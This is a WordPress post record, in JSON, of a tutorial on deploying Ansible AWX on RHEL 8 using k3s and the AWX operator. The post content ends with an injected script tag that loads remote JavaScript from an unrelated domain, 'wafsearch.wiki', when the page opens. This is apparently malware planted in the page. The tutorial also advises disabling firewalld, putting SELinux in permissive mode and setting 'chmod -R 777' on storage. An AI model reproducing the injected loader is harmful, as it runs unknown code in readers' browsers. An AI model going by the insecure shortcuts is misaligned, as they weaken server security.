{"id":1865,"date":"2022-12-24T08:41:04","date_gmt":"2022-12-24T05:41:04","guid":{"rendered":"http:\/\/opensource.sa\/?p=1865"},"modified":"2025-11-26T00:26:45","modified_gmt":"2025-11-25T21:26:45","slug":"ansible-awx-deployment-using-k3s","status":"publish","type":"post","link":"http:\/\/opensource.sa\/?p=1865","title":{"rendered":"Ansible AWX Deployment Using k3s"},"content":{"rendered":"<p>In this toturial we shall demonstrate all the steps to deploy Ansible AWX on RHEL 8.x servers using k3s. Ansible AWX is the community version of Ansible Tower, where system administrators will be able to handle Ansible using the GUI interface.<\/p>\n<p><strong>Disable Firewalld. (This is recommended by K3s).<\/strong><\/p>\n<p># sudo systemctl disable firewalld &#8211;now<\/p>\n<p>AWX is supported and can only be run as a containerized application using Docker images deployed to either an OpenShift cluster, a Kubernetes cluster, or docker-compose. We shall use K3s Kubernetes setup to run AWX on CentOS 8 \/ Rocky Linux 8.<\/p>\n<p><strong>Put SELinux in permissive mode<\/strong><\/p>\n<p># setenforce 0<\/p>\n<p># sed -i &#8216;s\/^SELINUX=.*\/SELINUX=permissive\/g&#8217; \/etc\/selinux\/config<\/p>\n<p># cat \/etc\/selinux\/config | grep SELINUX=<\/p>\n<p><strong>Install k3s<\/strong><\/p>\n<p># curl -sfL https:\/\/get.k3s.io | sudo bash &#8211;<\/p>\n<p># chmod 644 \/etc\/rancher\/k3s\/k3s.yaml<\/p>\n<p><strong>Check k3s service to confirm it is running and working<\/strong><\/p>\n<p># systemctl status k3s.service<\/p>\n<p><strong>As root user do a validation on use of kubectl Kubernetes management tool:<\/strong><\/p>\n<p># kubectl get nodes<\/p>\n<p>This Kubernetes Operator has to be deployed for the management of one or more AWX instances in any namespace.<\/p>\n<p><strong>Install git and make tools<\/strong><\/p>\n<p># sudo yum -y install git make<\/p>\n<p><strong>Clone operator deployment code<\/strong><\/p>\n<p># git clone https:\/\/github.com\/ansible\/awx-operator.git<\/p>\n<p><strong>Create namespace where operator will be deployed. I\u2019ll name mine\u00a0awx<\/strong><\/p>\n<p># export NAMESPACE=awx<\/p>\n<p># kubectl create ns ${NAMESPACE}<\/p>\n<p><strong>Set current context to value set in\u00a0<em>NAMESPACE<\/em> variable<\/strong><\/p>\n<p># kubectl config set-context &#8211;current &#8211;namespace=$NAMESPACE<\/p>\n<p><strong>Switch to\u00a0<em>awx-operator<\/em> directory<\/strong><\/p>\n<p># cd awx-operator\/<\/p>\n<p><strong>Save the latest version from<a href=\"https:\/\/github.com\/ansible\/awx-operator\/releases\">\u00a0AWX Operator releases<\/a>\u00a0as\u00a0<em>RELEASE_TAG<\/em>\u00a0variable then checkout to the branch using git.<\/strong><\/p>\n<p># yum -y install jq<\/p>\n<p># RELEASE_TAG=`curl -s https:\/\/api.github.com\/repos\/ansible\/awx-operator\/releases\/latest | grep tag_name | cut -d &#8216;&#8221;&#8216; -f 4`<\/p>\n<p># echo $RELEASE_TAG<\/p>\n<p><strong>Deploy AWX Operator into your cluster<\/strong><\/p>\n<p># git checkout $RELEASE_TAG<\/p>\n<p># export NAMESPACE=awx<\/p>\n<p># make deploy<\/p>\n<p><strong>Wait a few minutes and\u00a0<em>awx-operator<\/em> should be running<\/strong><\/p>\n<p># kubectl get pods -n awx<\/p>\n<p>Now that we have the operator pod running we are ready to initiate installation of Ansible AWX on CentOS 8 \/ Rocky Linux 8. But first we\u2019ll need to create a PVC for public and static web data.<\/p>\n<p><strong>Create a file named\u00a0public-static-pvc.yaml<\/strong><\/p>\n<p># vi public-static-pvc.yaml<\/p>\n<p><strong>Input below contents in the file:<\/strong><\/p>\n<blockquote><p>&#8212;<\/p>\n<p>apiVersion: v1<\/p>\n<p>kind: PersistentVolumeClaim<\/p>\n<p>metadata:<\/p>\n<p>name: public-static-data-pvc<\/p>\n<p>spec:<\/p>\n<p>accessModes:<\/p>\n<p>&#8211; ReadWriteOnce<\/p>\n<p>storageClassName: local-path<\/p>\n<p>resources:<\/p>\n<p>requests:<\/p>\n<p>storage: <strong>5Gi<\/strong><\/p><\/blockquote>\n<p><strong>Apply configuration manifest:<\/strong><\/p>\n<p># kubectl apply -f public-static-pvc.yaml -n awx<\/p>\n<p><strong>PVC won\u2019t be bound until the pod that uses it is created.<\/strong><\/p>\n<p># kubectl get pvc -n awx<\/p>\n<p><strong>Create AWX deployment file<\/strong><\/p>\n<p># vi awx-instance-deployment.yml<\/p>\n<p>Paste below contents to the file created.<\/p>\n<blockquote><p>&#8212;<\/p>\n<p>apiVersion: awx.ansible.com\/v1beta1<\/p>\n<p>kind: AWX<\/p>\n<p>metadata:<\/p>\n<p>name: <em>awx<\/em><\/p>\n<p>spec:<\/p>\n<p>service_type: nodeport<\/p>\n<p>projects_persistence: true<\/p>\n<p>projects_storage_access_mode: ReadWriteOnce<\/p>\n<p>web_extra_volume_mounts: |<\/p>\n<p>&#8211; name: static-data<\/p>\n<p>mountPath: \/var\/lib\/projects<\/p>\n<p>extra_volumes: |<\/p>\n<p>&#8211; name: static-data<\/p>\n<p>persistentVolumeClaim:<\/p>\n<p>claimName: public-static-data-pvc<\/p><\/blockquote>\n<p><strong>Install AWX on CentOS 8 \/ Rocky Linux 8<\/strong><\/p>\n<p># kubectl apply -f awx-instance-deployment.yml -n awx<\/p>\n<p><strong>After few minutes check pods creation status<\/strong><\/p>\n<p># watch kubectl get pods -l &#8220;app.kubernetes.io\/managed-by=awx-operator&#8221; <strong>-n awx<\/strong><\/p>\n<p><strong>Extra PVCs are created automatically<\/strong><\/p>\n<p># kubectl\u00a0 get pvc<\/p>\n<p>Fixing the error \u201cmkdir: cannot create directory \u2018\/var\/lib\/postgresql\/data\u2019: Permission denied\u201d<\/p>\n<p><strong>If you see the error message from postgres pod logs<\/strong><\/p>\n<p># kubectl logs awx-postgres-0<\/p>\n<blockquote><p>mkdir: cannot create directory \u2018\/var\/lib\/postgresql\/data\u2019: Permission denied<\/p><\/blockquote>\n<p>It means the Postgres pod cannot write to the persistent volume directory inside<strong>\/var\/lib\/rancher\/k3s\/storage\/<\/strong>:<\/p>\n<p># ls -lh \/var\/lib\/rancher\/k3s\/storage\/ | grep awx-postgres-0<\/p>\n<p>total 0<\/p>\n<p>drwx&#8212;&#8212;. 3 root root 18 Aug\u00a0 3 14:04 pvc-8110b494-d9ed-450a-94c0-b9dfd2bd73f7_default_postgres-awx-postgres-0<\/p>\n<p><strong>Try setting the directory mode to\u00a0777<\/strong><\/p>\n<p># chmod -R 777\u00a0 \/var\/lib\/rancher\/k3s\/storage\/*<\/p>\n<p># kubectl delete pods -l &#8220;app.kubernetes.io\/managed-by=awx-operator&#8221; -n awx<\/p>\n<blockquote><p>pod &#8220;awx-75698588d6-x79g2&#8221; deleted<\/p>\n<p>pod &#8220;awx-postgres-0&#8221; deleted<\/p>\n<p>The Postgres container pod should come up in few seconds:<\/p><\/blockquote>\n<p># kubectl get pods -n awx<\/p>\n<p><strong>Get the AWX Web service port<\/strong><\/p>\n<p># kubectl get service -n awx<\/p>\n<p>From the output we can confirm service node port is\u00a0<strong>30080<\/strong>.<\/p>\n<p><strong>To have access to AWX web console, point your browser to your Ansible\u2019s AWX server IP<\/strong><\/p>\n<p>http:\/\/your-server-ip-address:30080<\/p>\n<p>You should be welcomed to a Login page well illustrated below.<\/p>\n<p>The login username is\u00a0<strong>admin<\/strong><\/p>\n<p><strong>Obtain admin user\u00a0password\u00a0by decoding the secret with the password value:<\/strong><\/p>\n<p># kubectl -n awx get secret awx-admin-password -o jsonpath=&#8221;{.data.password}&#8221; | base64 &#8211;decode<\/p>\n<p><strong>Better output format:<\/strong><\/p>\n<p># kubectl -n awx get secret awx-admin-password -o go-template='{{range $k,$v := .data}}{{printf &#8220;%s: &#8221; $k}}{{if not $v}}{{$v}}{{else}}{{$v | base64decode}}{{end}}{{&#8220;\\n&#8221;}}{{end}}&#8217;<\/p>\n<p>Login with the\u00a0<em>admin<\/em>\u00a0username and<em>\u00a0decoded password<\/em> from above commands<\/p>\n<p>&nbsp;<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this toturial we shall demonstrate all the steps to deploy Ansible AWX on RHEL 8.x servers using k3s. Ansible AWX is the community version of Ansible Tower, where system &#8230;<\/p>\n","protected":false},"author":1,"featured_media":1848,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-1865","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"_links":{"self":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1865","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1865"}],"version-history":[{"count":6,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1865\/revisions"}],"predecessor-version":[{"id":1919,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/posts\/1865\/revisions\/1919"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=\/wp\/v2\/media\/1848"}],"wp:attachment":[{"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1865"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1865"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/opensource.sa\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1865"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}